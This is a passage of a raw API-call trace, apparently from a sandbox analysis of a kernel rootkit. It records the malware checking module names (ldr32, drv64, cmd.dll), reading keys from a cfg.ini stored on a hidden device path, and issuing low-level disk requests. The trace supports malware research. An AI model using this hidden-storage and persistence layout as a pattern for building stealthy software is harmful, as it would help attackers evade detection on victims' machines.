(_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.891] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.891] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.891] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.891] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.891] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.891] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.891] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.891] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.891] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.891] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.892] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.892] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.892] KeLeaveCriticalRegion () [0117.892] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.892] ReleaseMutex (hMutex=0x100) returned 1 [0117.892] Sleep (dwMilliseconds=0x2bf20) [0117.893] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69768eb0, dwHighDateTime=0x1d24fa4)) [0117.893] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.894] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.904] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.904] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.904] KeEnterCriticalRegion () [0117.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.904] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.904] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.904] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.904] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.904] IdePortDispatch () returned 0x103 [0117.904] KeWaitForMutexObject () returned 0x0 [0117.904] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.904] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.904] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.904] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.904] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.904] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da7e0 [0117.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.904] KeLeaveCriticalRegion () [0117.904] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.904] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.905] KeEnterCriticalRegion () [0117.905] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.905] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.905] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.905] KeLeaveCriticalRegion () [0117.905] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.905] KeEnterCriticalRegion () [0117.905] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.905] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.905] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.905] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.905] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.905] IdePortDispatch () returned 0x103 [0117.905] KeWaitForMutexObject () returned 0x0 [0117.907] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.907] KeLeaveCriticalRegion () [0117.907] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.907] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.907] KeEnterCriticalRegion () [0117.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.907] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003470000 [0117.907] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.907] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.907] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.907] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.907] IdePortDispatch () returned 0x103 [0117.907] KeWaitForMutexObject () returned 0x0 [0117.907] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.907] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.907] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.907] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.907] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.908] IdePortDispatch () returned 0x103 [0117.908] KeWaitForMutexObject () returned 0x0 [0117.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.908] KeLeaveCriticalRegion () [0117.908] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.909] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.909] KeEnterCriticalRegion () [0117.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.909] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.909] KeLeaveCriticalRegion () [0117.909] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.909] KeEnterCriticalRegion () [0117.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.909] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.909] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cf840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.909] KeLeaveCriticalRegion () [0117.909] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.909] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.909] KeEnterCriticalRegion () [0117.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.909] ExFreePoolWithTag (P=0xfffffa80039da7e0, Tag=0x0) [0117.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.909] KeLeaveCriticalRegion () [0117.909] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.909] ReleaseMutex (hMutex=0xf0) returned 1 [0117.909] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.918] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.918] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.918] KeEnterCriticalRegion () [0117.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.918] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.918] IdePortDispatch () returned 0x103 [0117.918] KeWaitForMutexObject () returned 0x0 [0117.918] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.918] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.918] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.918] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.918] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.918] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da7e0 [0117.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.918] KeLeaveCriticalRegion () [0117.918] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.919] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.919] KeEnterCriticalRegion () [0117.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.919] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.919] KeLeaveCriticalRegion () [0117.919] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.919] KeEnterCriticalRegion () [0117.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.919] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.919] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.919] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.919] IdePortDispatch () returned 0x103 [0117.919] KeWaitForMutexObject () returned 0x0 [0117.919] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.919] KeLeaveCriticalRegion () [0117.919] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.919] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.919] KeEnterCriticalRegion () [0117.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.919] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003473000 [0117.919] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.920] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.920] IdePortDispatch () returned 0x103 [0117.920] KeWaitForMutexObject () returned 0x0 [0117.920] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.920] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.920] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.920] IdePortDispatch () returned 0x103 [0117.920] KeWaitForMutexObject () returned 0x0 [0117.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.920] KeLeaveCriticalRegion () [0117.920] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.921] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.921] KeEnterCriticalRegion () [0117.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.921] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.921] KeLeaveCriticalRegion () [0117.921] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.921] KeEnterCriticalRegion () [0117.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.921] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.921] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cf840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.921] KeLeaveCriticalRegion () [0117.921] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.921] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.921] KeEnterCriticalRegion () [0117.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.921] ExFreePoolWithTag (P=0xfffffa80039da7e0, Tag=0x0) [0117.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.921] KeLeaveCriticalRegion () [0117.921] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.922] ReleaseMutex (hMutex=0xf0) returned 1 [0117.922] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.922] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.922] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.922] KeEnterCriticalRegion () [0117.922] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.922] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.922] IdePortDispatch () returned 0x103 [0117.922] KeWaitForMutexObject () returned 0x0 [0117.922] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.922] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.922] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.922] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.922] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.922] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036b5c50 [0117.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.922] KeLeaveCriticalRegion () [0117.922] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.922] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.923] KeEnterCriticalRegion () [0117.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.923] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.923] KeLeaveCriticalRegion () [0117.923] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.923] KeEnterCriticalRegion () [0117.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.923] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.923] IdePortDispatch () returned 0x103 [0117.923] KeWaitForMutexObject () returned 0x0 [0117.923] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.923] KeLeaveCriticalRegion () [0117.923] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.923] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.923] KeEnterCriticalRegion () [0117.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.923] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003474000 [0117.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.924] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.924] IdePortDispatch () returned 0x103 [0117.924] KeWaitForMutexObject () returned 0x0 [0117.924] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.924] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.924] IdePortDispatch () returned 0x103 [0117.924] KeWaitForMutexObject () returned 0x0 [0117.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.924] KeLeaveCriticalRegion () [0117.924] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.925] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.925] KeEnterCriticalRegion () [0117.925] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.925] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.925] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.925] KeLeaveCriticalRegion () [0117.925] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.925] KeEnterCriticalRegion () [0117.925] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.925] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.925] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.925] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.925] KeLeaveCriticalRegion () [0117.925] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.925] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.925] KeEnterCriticalRegion () [0117.925] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.925] ExFreePoolWithTag (P=0xfffffa80036b5c50, Tag=0x0) [0117.925] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.925] KeLeaveCriticalRegion () [0117.925] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.925] ReleaseMutex (hMutex=0xf0) returned 1 [0117.926] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.926] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.926] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.926] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.926] KeEnterCriticalRegion () [0117.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.926] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.926] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 